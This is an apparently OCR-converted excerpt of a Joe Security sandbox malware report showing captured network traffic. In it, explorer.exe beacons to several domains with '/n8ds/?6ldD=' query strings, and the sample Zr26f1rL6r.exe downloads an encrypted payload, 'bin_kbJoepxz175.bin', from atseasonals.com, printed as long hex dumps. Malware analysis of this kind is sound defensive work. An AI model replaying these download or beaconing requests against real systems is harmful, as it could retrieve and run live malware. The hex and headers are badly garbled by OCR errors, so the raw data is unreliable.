Server: nginx/1.20.1

Date: Thu, 25 Nov 2021 11:56:34 GMT
Content-Type: text/html; charset=gbk
Transfer-Encoding: chunked
Connection: close

X-Powered-By: PHP/5.6.40

Location: /404.html

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

172.120.157.187 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Nov 25, 2021 6429
12:56:39.949610949 CET

Nov 25, 2021 6429
12:56:40.114429951 CET

Session ID Source IP

8 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6431

12:56:50.191874981 CET

Nov 25, 2021 6431
12:56:50.203358889 CET

Session ID Source IP

9 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6432

12:57:06.036454916 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49819

Direction
ouT

Source Port
49820

Direction

ouT

Data

GET /n8ds/?6ldD=QiVrdANomMTfDVQzLAZiPy17hhsXauZOjQhEklhfcDYRSe01pzyB5iClgESLJIZee3iuRd&v6Mt=3fxxA4Z
HTTP/1.1

Host: www.stylesbykee.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 25 Nov 2021 11:56:30 GMT

Content-Type: text/html

Content-Length: 801

Connection: close

Data Raw: 3c 68 74 6d 6c 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78
68 74 6d 6¢ 22 3e 0d Oa 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e b3 a4 c9 b3 ce cf b6 d9 bf c6 bc bc b9 c9 b7 dd d3
do cf de b9 ab cb be 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65
6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 67 62
323331322220 2f 3e 0d 0a 3c 73 63 72 69 70 74 20 6¢ 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22
207479 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 74 6a 2e 6a 73 22 3e 3c 2f 73
637269 70 74 3e 0d Oa 3¢ 73 63 72 69 70 74 20 6¢ 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74
79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 63 6f 6d 6d 6f 6e 2e 6a 73 22 3e 3¢
2f 7363 72 69 70 74 3e 0d Oa 0d Oa 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 0d Oa 3¢ 73 63 72 69 70 74 3e 0d
0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d Oa 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 6
561 74 65 45 6¢ 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f
63 6f 6¢ 20 3d 20 77 69 6e 64 6f 77 2e 6¢ 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6¢ 2e 73 70 6¢ 69 74 28 27 3a 27 29
5b 30 5d 3b 0d 0a 20 20 20 20 69 66 20 28 63 75 72 50 72 6f 74 6f 63 6f 6¢ 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 20 7b
0d 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 7a 7a 2e 62 64 73 74 61 74 69 63 2
e 63 6f 6d 2f 6¢ 69 6e 6b 73 75 62 6d 69 74 2f 70 75 73 68 2e 6a 73 27 3b 0d Oa 20 20 20 20 7d 0d Oa 20 20 20 20 65 6¢ 7
365 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 3a 2f 2f 70 75 73 68 2e 7a 68 61 6e
7a 68 61 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 70 75 73 68 2e 6a 73 27 3b 0d Oa 20 20 20 20 7d 0d Oa 20 20 20 20 76
61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6¢ 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73
63 72 69 70 74 22 29 5b 30 5d 3b 0d 0a 20 20 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66
6f 72 65 28 62 70 2c 20 73 29 3b 0d Oa 7d 29 28 29 3b 0d Oa 3¢ 2f 73 63 72 69 70 74 3e 0d Oa 0d Oa 3c 2f 62 6f 64 79 3e
0d 0Oa 0d Oa 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <html xmIns="http://www.w3.0rg/1999/xhtml"><head><title></title><meta http-equiv="Content-Type" co
ntent="text/html; charset=gh2312" /><script language="javascript" type="text/javascript" src="/tj.js"></script><script |
anguage="javascript" type="text/javascript" src="/common.js"></script></head><body><script>(function(){ var bp = docu
ment.createElement(‘script’); var curProtocol = window.location.protocol.split(:")[0]; if (curProtocol === ‘https') {

bp.src = 'https://zz.bdstatic.com/linksubmit/push.js’; } else{ bp.src = ‘http://push.zhanzhang.baidu.com/push.js’; }
var s = document.getElementsByTagName(“script")[0]; s.parentNode.insertBefore(bp, s);})();</script></body></htmI>

Destination IP Destination Port Process

3.64.163.50 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=4XwYGzmPDVH3THQXSPknmfdazTodAXDIHas2KNX7n/UXs4ghRUZWEGVKVmOhYsfSCvUh&vEMt=
3fxxA4Z HTTP/1.1

Host: www.inklusion.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 410 Gone

Server: openresty

Date: Thu, 25 Nov 2021 11:56:49 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d 0Oa 3c 68 74 6d 6¢ 3e 0a 0d Oa 39 0d Oa 20 20 3c 68 65 61 64 3e 0a 0d Oa 35 30 0d Oa 20 20 20 20 3c 6d
6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72
6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69 6f 6e 2e 6f 6e 6¢ 69 6e 65 2f 27 20 2f 3e 0a 0d Oa 61 0d Oa
20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 39 0d Oa 20 20 3c 62 6f 64 79 3e Oa 0d Oa 33 63 0d Oa 20 20 20 20 59 6f 75 20 61 72
65 20 62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69
6f 6e 2e 6f 6e 6¢ 69 6e 65 0a 0d 0a 61 0d Oa 20 20 3c 2f 62 6f 64 79 3e Oa 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa Od Oa
30 0d Oa 0d Oa

Data Ascii: 7<html>9 <head>50 <meta http-equiv="refresh’ content='5; url=http://www.inklusion.online/' />a </head>9
<body>3c You are being redirected to http://www.inklusion.onlinea </body>8</htmI>0

Destination IP Destination Port Process
203.170.80.250 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=hTCtvfIBK6Lgcsnz9iNzW/omO0skZHj2xUOZ9QRylykKuA9BOdz3gmP8oX5t0meM3+FVL&VEMt=
3fxxA4Z HTTP/1.1

Host: www.mackthetruck.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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HTTPS Proxied Packets

Session ID Source IP

0 192.168.11.20
kBytes

Timestamp transferred

2021-11-2511:54:54 UTC 0

2021-11-2511:54:54 UTC 0

2021-11-2511:54:54 UTC 0

2021-11-2511:54:54 UTC 8

2021-11-25 11:54:54 UTC 15

2021-11-25 11:54:54 UTC 23

2021-11-25 11:54:54 UTC 31

2021-11-25 11:54:54 UTC 39

2021-11-25 11:54:54 UTC 47

Copyright Joe Security LLC 2021

Source Port

49812

Direction

ouT

Destination IP Destination Port Process

107.6.148.162 443 C:\Users\user\Desktop\Zr26f1rL6r.exe

Data

GET /GHrtt/bin_kbJoepxz175.bin HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: atseasonals.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 25 Nov 2021 11:54:54 GMT

Server: Apache

Last-Modified: Wed, 24 Nov 2021 12:20:38 GMT
Accept-Ranges: bytes

Content-Length: 167488

Connection: close

Content-Type: application/octet-stream

Data Raw: 70 99 dO d2 81 fc a4 8c 6e ba 05 d0 4f 67 65 7f 4e le 4a f3 03 49 ab 4d 8 3b 67 96 a3 b5 f7 07 46 d9 a0 8b 7f
32 0c 43 a2 5a 42 b2 12 de b0 f4 94 d3 dc 46 6¢ cf 8e 15 59 63 2a 6b 99 39 71 c3 a8 94 6¢ 4a 84 13 81 5d 6a le 54 51 46
ba fl ed d4 08 cO 6b 8d b8 64 71 ec 91 c7 1a 01 6d 7f 49 a6 3a 51 3c d1 ca Oc 98 4f 06 47 24 6b ec 56 9c d7 39 29 7f 90 8
10 2b ff c6 eb 49 87 €7 0 70 77 e6 54 c0 aa f3 4b 59 89 c0 66 fa 8f 90 47 e4 Oa 64 47 b5 d4 b5 71 92 58 65 b7 82 12 15
37 dd 6f c2 ec 2e 2b df 1d cf 2c 5e 7a d8 f2 d7 16 ec 09 81 e5 9d 39 0d e2 1d d4 71 ba ff de 2e 9b 03 5e 74 c4 af 5¢ 6d 82
2a3afb 2110 13 c5 ce 56 69 4f 4e 29 b7 4f 90 af €9 9a cd 2d 39 69 e5 2b 66 10 5b b4 5e 9d e0 bl b1 c0 09 52 76 c0 87
3399 a3 bb ca 51 43 75 54 5b 4e a0 ab 74 91 19

Data Ascii: pnOgeNJIM;gF2CZBFIYc*k9qlJ]iTQFkdgmI:Q<OG$kV9)+IpwTKY{GdGgXe70.+,z9q. t\m*:!VION)O-9i+f
["Rv3QCUT[Nt

Data Raw: 8e bc 4e ec 48 d6 a2 16 02 23 e6 e8 1f ¢6 a2 f1 87 bf bc dc f2 e5 1d 71 93 43 e5 f8 66 89 73 ea 07 49 9d 46 cf
62 29 04 b0 e9 ff 10 16 06 87 4d 38 5b 62 65 fc dc 00 f5 ba 79 ad 56 32 fd 03 8f fb 4b a3 5d d9 ce 81 4a 9e 3d 17 f4 d2 al
c7 87 3d fd 91 4b 9a 13 dd 39 3b €3 ¢c6 4f 06 1c 79 d3 83 26 00 53 1b 67 5¢ 44 5b d7 c5 62 93 8e 6f 5e 54 ¢7 ¢8 d9 a6 d5
ad 5a 6e da 10 69 ¢7 77 c2 68 d5 b1 0a 47 90 e0 8d 6a c4 32 66 27 47 62 84 7f 3d 22 1c 03 85 6¢ ab 59 45 eb 4f 70 ed 38
f2 31 d8 5d 7f f7 6a d4 8d €0 3d 2c 94 bd bd 34 7c 13 68 7f d2 e5 fe ¢7 04 85 50 1c bd 6 f8 38 d0 29 78 5b 26 a9 d3 c5 eb
01 5f 8a aa 88 23 3f 9d Oe a8 06 f9 96 8b 3e 21 23 9¢ 5b 82 da cd 2b 99 a0 fe 37 cb c6 17 31 d1 3e 34 39 7e 3f 48 2b bc
1099 e2 7e 1d 53 6¢ €7 67 00 b8 4c cb 8f 35 3¢

Data Ascii: NH#qCfsIFb)M8[beyV2K]J==K9;0y&Sg\D[bo TZniwhGj2f Gb="IYEOp81]j=,4|hP8)X[&_ #?>!#[+71>49~?
H+~SlgL5<

Data Raw: 17 ca c¢7 b5 b0 fd 86 d4 50 e2 18 b0 be fc 2c 30 5¢ 16 11 88 54 5e c2 28 df 35 9a €5 69 10 10 31 89 2f e6 ff 54
6f a8 c6 95 52 74 48 ¢3 55 81 2d a3 39 d4 90 8¢ de 8f ac 70 eb d0 5¢ 9a b4 cb c6 df e5 6e 92 bb e0 07 43 df 69 24 b6 a3 ff
52 4d 29 ca 8f 99 4e 68 fd 8d 02 21 f9 01 4f dO f8 f4 b2 d7 01 9e 4f 32 70 2f 03 53 61 cf 97 3d 62 d8 cb 03 51 97 a7 1f fa
€3 e0 00 ae 92 Oe 09 13 96 7e 52 65 3e 2c 36 85 a9 5f 75 e6 c6 6b 89 3 66 55 25 98 6d c9 fO bf 96 47 05 9a 61 2d 1b 23
3cd2 96 92 82 cd d6 ba 3e e6 4b 58 a5 48 1a 87 7a 4e a4 al b0 2f c4 55 d6 16 76 a6 7e 33 3e 12 d9 fe 29 5¢c 1b e6 13 d5
acal adc2 77 9a 02 73 8b ad 40 f6 2c 55 64 27 90 b5 a5 e4 a9 df 87 eb b3 1f Oe 25 al 6a 1c 00 €9 16 al dc 22 2a cc fc
49 cb 9d 4b 61 fc 33 db 5f 43 37 03 ¢7 17 86 ac
Data Ascii: P,0\T/(5i1/ToRtHU-9p\nCi$RM)Nh!002p/Sa=bQ~Re>,6_ukfU%mGa-#<>KXHzN/Uv~3>)\ws@,Ud'%j"*IKa3

c7

Data Raw: 5e 04 43 a7 80 c5 2e bc ac 30 1b fd 04 75 d2 7b c3 ff 8f b3 94 45 75 96 b0 c1 Oe c5 b4 fe 2c bl ea f1 19 bc 38
04 74 40 f6 58 cf 71 0f 1d 37 59 d4 56 20 d6 3b Ob 08 06 2b 25 af 1c €8 5d 25 2b a9 a9 84 c0 fc 5¢ 15 9e 07 91 73 db 7e
b9 86 27 ec 6f ef 41 31 47 63 86 4f b4 dO cO 7e 85 7f 34 15 92 9b a9 64 70 cc de 9f a5 6e db 3f e8 ec 35 9e a0 26 0f 59 b8
24 95 fd 58 9f 6f 6a €5 01 85 0a Ob 08 6a €0 61 43 7d Oa 70 5d d7 d5 19 95 5a d5 8c f0 37 72 50 a0 cc 8 47 {9 ef af e9 4c
94 65 65 81 fa 5¢ 37 a8 cb a6 7c dd a5 58 79 el 91 0a 47 af 03 bc cf 03 8 4d d6 93 39 65 e6 7b 6a fb 85 bc aa 46 76 d9
b3 d3 9e 04 54 9e 7f e3 4f 52 87 33 b9 08 2f a0 02 a8 b2 21 6e 07 d1 3a 84 8d 7a 08 c8 80 91 23 98 Ob cb b7 03 07 3e 34
a9 c8c4 db f6 7c 5d 81 f9 6a 58 32 78 5 85 ae

Data Ascii: *C.Ou{Eu,8t@Xq7YV ;+%]%+\s~'0A1GcO~4dpn?5&Y$X0jjaC}p]Z7rPGLee\7|XyGM9e{jFVTOR3/!n:z#>4(]jX2x

Data Raw: 10 24 e9 36 49 4b 33 3f ba 8b 32 30 9e 48 46 3e 28 e7 ce ¢7 f9 03 d0 c0 2b f2 4b 41 2c 3a 96 8e 46 0d 63 2d
d7 Ob 4e d7 ba ef b6 ec 68 3b e0 4e de 91 bd dc 1b d2 04 7c cO 14 44 a9 bf 32 ea 46 fa 70 92 bb e4 ¢5 95 17 c9 a0 2b Oa
81 c4 0d 82 88 14 16 3b 92 db 30 ¢5 8 f6 f5 b3 c6 8¢ ba b6 c4 91 6a 02 82 a5 9b 20 f9 72 f0 00 6f 46 3d 6¢ 9b fO 19 de 6a
19 23 92 bb 0Ob fb 12 49 d8 d1 4e 31 fa ca 64 ef 07 91 de 08 9e f0 1b c4 57 59 a7 89 e0 ea d6 40 3c d5 le d7 ea 6e cO f1
67 de c3 ef c4 80 61 ac 13 a5 fa 22 90 53 e0 43 11 ec c3 e9 c4 f0 78 10 cd eb 15 6¢ 89 de e4 fe da Oc 85 al 7c el ec 18
42 b4 26 ea ea 93 ec 02 99 62 cb 42 0d bl ce c6 06 10 35 4b 6b dc 91 88 92 ¢5 92 42 60 e4 07 80 b6 f6 b7 dc 88 2f 35 f3
c9 a7 ca 6e 25 6b 6f 92 8¢ 5a ac 9d 81 6f 70 42 41 83

Data Ascii: $61K3?20HF>(+KA,:Fc-Nh;N|D2Fp+;0j roF=Ij#IN1dWY @<nga"SCxl|B&bB5KKB /5n%koZopBA

Data Raw: 8¢ e2 92 21 9f f8 12 80 71 84 bb 0d 80 91 03 cc 26 88 73 33 ec la dd b9 91 14 4c 37 25 ba 25 7e ef 29 al 28
6c c5 3d bb 07 44 cd e3 18 34 78 b9 e8 f0 f3 88 4f d4 ch 68 a4 fc 81 7b 7d 01 17 38 a3 f9 03 2f 47 85 af 26 €8 15 78 €9 d3
8a 28 94 95 Oc e9 77 8b c1 d0 0f 3b 94 07 9b 6d 7a 2e ca fa ce 04 90 40 1e 60 b7 42 32 d7 88 60 d7 01 4c a0 5e cd 95 16
83 cle519 71 d4 ff ef b3 dc a3 40 aa 69 al 87 79 10 75 a2 d9 c¢6 08 60 bc 69 b4 13 01 ef 9¢c b6 75 ea 17 ed 29 9a 03 a0
d6 eb b7 a5 Oc 5a 64 5¢ a2 2b d3 cf 9f 5¢ 5e ac 0a d6 34 49 a4 4a a2 c7 83 ee 75 86 ae c1 67 cf 6f ca 3f Oe 9e b0 f9 e3 f9
e7 7fb7 97 3e 5b 8a a2 bb 41 14 53 f6 90 07 8e 60 df Oa f8 18 77 4c 6a 8f 8b 69 1f c7 08 6d cc 53 12 bf 2b bl e2 4a c4 a6
d7 50 59 f2 5d 9c 2a 68 71 21 fd da 71 20 5c 63

Data Ascii: !q&s3L7%%~)(I=D4xOh{}8/G&x(w;mz.@ B2 L q@iyu iu)Zd\+\41Jugo?>[AS wLjimS+JIPY]*hq!q \c

Data Raw: 77 74 a8 2a 4b e2 06 58 96 8d ca 8d 97 65 ff 91 4b 09 4b d8 7f 8a 8e 9a bl 7a 27 ad e7 be Oa c7 2a 84 66 3
ed 22 14 a0 8a ab 86 86 a0 57 c7 6f 49 8f 15 82 df 06 4e ee 1b 5c 2f df ae ed cb Oc b3 38 49 dc d3 b9 ea 5e ¢8 37 11 ee
809 3c 02 88 cf ac d7 f7 ec fc a8 71 ea 2c b6 70 94 26 40 07 5d ce 15 cb fa 24 65 43 be 34 b0 53 91 40 fd 60 7e 3a 3b 2a
60 3 8c 2f 3f bd d9 42 87 58 a9 8f 58 3c c4 93 32 74 55 f4 6e al 4c bl 6e 83 75 68 2a 4a 63 ea cb 02 48 d2 d8 d5 9a a0
b7 fc 06 03 1a 56 ba 3f 46 4b 5¢ dd a9 e8 2a 7d df fb 81 €2 7b b7 60 72 c7 5b 59 al 35 ca e0 7f 37 65 86 21 06 3e €0 0d
95 41 ac 28 fe 43 2b 31 3d d3 fc 21 7d 45 2e 3 dO cb b9 1f 31 33 22 df 1d 92 al fe 51 3d dd d7 2a 99 ee dO 7d 36 26 61
80 a9 c0 3 18 39 8e 12 f9 c0 d1 a8 15 3d 5f 2f c9 82

Data Ascii: wt*KXeKKz*f"WoINV8I"7<q,p&@]$eC4S@ ~:;*'/?BXX<2tUnLnuh*JcHV?FK\*}{ r[Y57e!>A(C+1=I}E.1
3"Q=*}6&a9%=_/
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kBytes
Timestamp transferred Direction Data

2021-11-25 11:54:54 UTC 55 IN Data Raw: 93 f7 95 01 1c €9 c9 90 db 44 18 ¢7 57 dO 65 23 22 c6 e3 c8 €8 80 e5 ee 48 59 19 8 44 3f 5a 75 8b ab f1 fd 5b
06 57 6a 17 2d b3 e0 72 42 be f5 13 a7 75 1a 9a c1 ad fe 4f cd 14 9e 03 2b 88 7c 5c 2d de ce 87 bc 11 6a 59 ba 4d fb c2
82 cd 64 f5 a3 d0 35 13 1f 03 48 7d 4f Ob ae 21 9c 2e 3f af ea b2 ed b3 c9 a7 85 bf 28 3a d8 92 a5 97 {7 58 6e 54 5d 55 59
b9 ¢8 70 61 b3 c5 12 1d 94 99 4b Oe 46 70 95 fa 71 be 7a 19 bc 37 de 26 a5 ab 9b 17 51 14 dd 66 56 fe Ob €3 d4 a9 5b fb
d2 71 2a 86 9d 04 9d 71 a0 dc f7 dd 00 fe b7 47 c8 ef 63 22 56 3c c7 bd c8 38 c9 13 86 fc 3d fO 20 87 af 9f 46 1e bd bf 5e
a8 85 3e 73 78 06 b5 45 c5 62 eb 73 8f eb ec e4 1d 01 2e 4d 1c 89 c4 3d 54 c8 fe f1 95 7c Ob c4 4a 71 37 €0 19 dO dd ba
8d e7 1d bd fb 49 18 0f 47 81 bc 97 af b3 93 75
Data Ascii: DWe#"HYD?Zu[Wj-rBuO+|\-jYMd5H}O!.?(:XnT]UY paKFpgz7&QfV[gq*qGc"V<8= F*>sxEbs.M=T|Jq7IGu

2021-11-25 11:54:54 UTC 62 IN Data Raw: cO 96 49 cd 9d e3 59 af 89 f3 bf ba ca 96 50 ca eb d6 6b Of df e2 39 al bb el 71 2e dc 70 7c b3 fe bl 3d 5a dc
17 19 2b c5 8d eb ec 96 69 78 a3 1f 61 30 c4 3d f9 58 2a 3d 95 1a 3b 1d 02 8e c8 9¢ 35 3b 7e 33 01 91 2c 2a 2a e7 le Of
cd 58 3e c2 7d c3 1e be 57 dO 1f 43 a8 €9 b1 el 65 65 8f aa 09 4a 95 40 0a 95 59 2¢ 47 21 76 34 1d 92 67 77 b4 2e 95 22
53 5b 16 a9 33 38 85 97 9e ad c7 bd cf 33 ae fe 8a e3 4d 65 3b a0 e3 f1 b3 28 45 95 ae 00 8d 57 13 4d a2 aa e7 81 51 61
dO 3a 4f 10 b9 23 68 07 29 52 ac 1b 34 1a 61 05 ca c5 07 d4 3b 5¢ 3e 99 97 Of cd 2b b8 2b 47 dc 01 59 73 a3 f9 e5 7c 3f
1b 4f 39 e3 d8 ea el 2b 3d 52 83 f5 59 7 1d 9b 93 18 ea 77 43 8c 82 Oe dd 90 bb 77 55 02 41 de 8a 0f f8 Oc 72 5a 48 d7
a8 76 d4 12 f4 7a 30 Oe 5a 2a c4 bb ed d6 7e f9 92 16
Data Ascii: [YPk9q.p|=Z+ixa0=X*=;5;~3,*X>}WCeeJ@Y,G!v4gw."S[383Me;(EWMQa:O#h)R4a;\>++GYs|?09+=RYwCw
UArZHvz0zZ*~

2021-11-25 11:54:54 UTC 70 IN Data Raw: d9 61 6f 9a cO da 28 6¢ Oe 3e cf 1c Of cd c0 4e 75 e2 54 1f 7d 92 6 a6 e5 a7 5 96 5f 8a 39 27 ba 8a b0 99 c5
€0 6f f7 4e fa 16 01 e5 46 de 9b 99 66 19 le 4a 44 f4 f9 58 fd a9 f2 38 3b 90 ca df 9e bb d7 ce 69 bc 3d fb dc 3c 66 a3 83
fc 36 ¢4 d7 df 90 46 f9 ed 98 c1 19 e5 92 ef 07 e3 d5 a0 c6 9e Oc 9f al f3 01 b6 26 8a dc 6e 40 af d8 f1 6a 2 6f 49 47 4d
9a 61 a8 50 68 a6 5e 83 bl ea 10 ba 8f 83 79 f0 48 37 81 5d 3a 2c d7 d3 4f 62 6f 86 cc 10 4b 6b e4 46 6a 3c 85 6d 30 la
8a fd 2e c0 el 22 97 b9 91 35 f3 67 4f ee €9 a3 6b ec db 09 97 c6 d6 80 fa 8d 42 c3 7f 55 eb 49 b2 62 a0 8f 86 06 be 98
42 d4 c3 6b 57 f3 bf 35 86 89 96 57 6¢ 93 €6 c5 a6 da 7e 9a b0 78 d2 8b 73 11 59 el 4d 0a 08 6f Ob ad 00 15 cO e5 05 92
b6 f2 45 9f 32 67 c6 e4 ff 73 cb 17 f0 19 02 7d
Data Ascii: ao(I>NuT}_9'0NFfIDX8;i=<f6F&n@jolGMaPh"yH7]:,0boKkFj<m0."5gOkBUIbBKW5WI~xsYMoE2gs}

2021-11-25 11:54:54 UTC 78 IN Data Raw: 9f 4f 06 44 ed 3a 67 59 cc 84 6b 7b 2d c1 d9 f8 20 b1 c6 eb c2 28 b5 b6 fb al 11 3e 80 aa 47 c1 50 98 fd bc ce
de 3a 95 60 64 17 67 4e eb 32 49 be b4 Oc d6 ba f8 9e 04 71 98 1b 82 3e 4a 26 25 b9 37 fd 1b 7c cf 67 ba 33 36 67 d4 00
9a 55 17 45 a0 fa bd 7e 1f f2 d7 03 23 43 a8 de 65 00 d3 08 03 ac 26 b0 2c 8c 9f 1e c0 da e5 37 2a 35 8f e7 ch 8b 47 8d
80 aa 84 3c 1ladl 1c 19 3b 59 32 00 ee a6 ee Ob 4e c7 d6 f8 60 ad b4 4e 79 42 75 54 88 f2 ab de 03 1b 96 83 4b 6a df 54
a9 aa 6e b0 el 59 b2 15 34 66 e8 e4 10 64 a7 08 47 f3 f3 61 15 2e 78 ed a5 b0 da 42 62 c8 f5 ec fc 71 ¢6 15 d3 b6 70 90
fc de b0 d8 4c 15 cb al 22 0d 1e 81 48 b6 16 Oc 62 9e ee 76 33 fb 7a 62 30 2c a9 7a 45 06 87 Oc 22 52 7a Oa 6¢ 7d d4 5¢
7b 06 25 f8 e3 42 5f 87 a5 38 68 74 4a 91 e5 5e e3 9d
Data Ascii: OD:gYk{- (>GP: dgN21g>J&%7|g36gUE~#Ce&,7*5G<;Y2N NyBuTKjTnY4fdGa.xBbgpL"Hbv3zb0,zE"RzI}\
{%B_8htJ"

2021-11-25 11:54:54 UTC 86 IN Data Raw: bf 18 09 42 e2 32 a7 Oc 30 08 90 55 a3 2b b9 b8 84 1b 45 41 c0 82 0d f4 a3 b8 a8 al ae bf 2b 47 44 a8 2c 5b
8487 82 7f c9 9b 6b 1f 6d 0d b8 2e 97 55 5e a3 b2 Oe 82 ab fc 9e 64 d2 e3 db 86 9e 55 b0 a9 d1 f2 bb 97 b6 96 fa 25 c7
54 b7 c9 14 13 bd 1a af 9d 05 6a aa a7 80 ec cb a8 16 a0 38 10 e8 a8 69 ce d4 d1 a9 3f 51 Ob 5a 61 f5 31 26 f6 f7 {7 5b
80 8e be bc fb 2f 27 9a 5b da 49 41 39 43 cd ac 92 7a 02 0f 2b d8 c9 56 b9 b8 cf 20 50 fb 06 c6 18 70 c4 62 b4 de 90 85
2b 5f e3 7d e5 8a 74 3e 54 ff 48 54 54 be b8 3b 55 €8 b3 16 07 4a 4b ff 86 83 6a 3d 2b c7 d1 3a ff 68 e3 f2 7c ee 76 ae 25
a6 a4 93 50 16 ff 63 44 28 38 44 cb 23 44 7e be Oe 8c al 9e 33 02 54 7b ba 5d 74 3d Oe c7 eb 9c 51 cc db 9e 55 ea f2 fa
73 c5 2e 92 50 b4 6¢ 89 16 ¢5 98 1b 85 5a 11 b1 98 fc
Data Ascii: B20U+EA+GD,[km.UNdU%T|8i?QZal&[/[IA9Cz+V Ppb+_J}t>THTT;UJKj=+:h|v%PcD(8D#D~3T{]t=QUs.PIZ

2021-11-25 11:54:54 UTC 94 IN Data Raw: 5d 34 b0 7b €5 91 6f Ob 13 20 17 da 67 57 a0 87 bf 95 4b 66 08 4b b8 f4 c4 76 99 4f 85 62 02 7e 7d ¢1 73 21
d0 bf 49 0d d8 7a 64 07 5f 4f ce 97 Oa dc 94 26 24 cc a7 4c 6b 2f f2 7e d5 0d 1a 2d 1f 6b 5e d1 6c 73 4e 35 71 98 45 e0 30
a7 b3 8d e3 5d 52 d7 4c df 66 ca 50 e6 9e f9 db cb 67 4b 61 1b 57 48 5b 67 11 3f fc 47 11 41 a9 1b 47 a7 b8 ¢5 bd 5d 66
8 13 45 90 28 7e 19 90 4b 33 56 49 07 39 04 76 b3 75 01 cd 93 5b ed 1d e3 5a db 2b d2 ec 35 77 76 79 03 df 5 d3 92 6d
4f 01 fe 86 4d Ob 07 3e 66 8d d9 Oe c0 9b 7e cd be ¢2 80 5¢ 5e d5 b2 e2 15 84 2d 45 89 c4 ba e9 61 08 90 3f fe fe 22 7e
ec 44 62 1b 5a 49 79 Oa e9 7 34 42 40 0 a0 Oa 7b 2a fd 43 2e b3 1f cf 90 f7 b9 c5 01 85 38 a2 62 bc 74 89 5f ¢5 3a 50 99
72 7b 4a 7a e7 4f 3e 3f 4f 01 07 17 8f 87 bb 3b 67
Data Ascii: ]4{o gWKfKvOb~}s!lzd_O&$Lk/~-k"NsN5qEO]RLfPgKaWH[g?GAGIfE(~K3VI9vu[Z+5wvymOM>f~\"-Ea?"~D
bZly4B@{*C.8bt_:Pr{Jz0>?0;g

2021-11-25 11:54:54 UTC 101 IN Data Raw: 18 ba d6 5f 31 8a 16 79 cd 91 4e f2 19 c0 f5 c6 18 df fe 49 41 a4 f9 01 01 c3 25 55 8b 7b b0 39 2d 43 7e 3 cO
eb 7a 5¢c d6 bc fe 7c 4e d0 ba 11 1e a4 17 b2 32 49 ce c7 7a 4e 8d b9 60 b8 33 b8 6d 1a 1d 83 d0 d2 a9 67 fc d6 70 ec 9d
4 a6 bd 6e 42 bd d6 80 76 ef df da 0d c8 05 47 ad b3 dd 5f 07 09 ba 73 79 96 b3 61 05 11 76 d1 62 e7 5f 5d 42 68 6b 6c
b0 7c 3b c2 95 30 81 73 b3 09 38 ae 72 9e b7 c4 97 c2 e7 ca 91 83 30 b2 cf da aa 1b fa 3a 81 b4 90 12 de 6a 7a 66 5f cd
b1 6d 9d 5a a9 e4 12 33 71 2f d1 Ob 58 c2 41 59 a7 9f ae 57 ba da c6 cc be ec €5 b7 ad 90 16 3f 23 18 f1 78 al e6 64 42
92 13 28 a0 11 10 8f b0 25 fd b6 ab df 1c b7 53 bf bf 30 99 84 al 6d 4f f4 d6 6f 06 a3 69 83 2a ac 32 1f 4d b2 91 8a a4 51
6¢c 98 d7 6d 3d 14 3f df 56 31 39 ed d0 3c ce ab fb
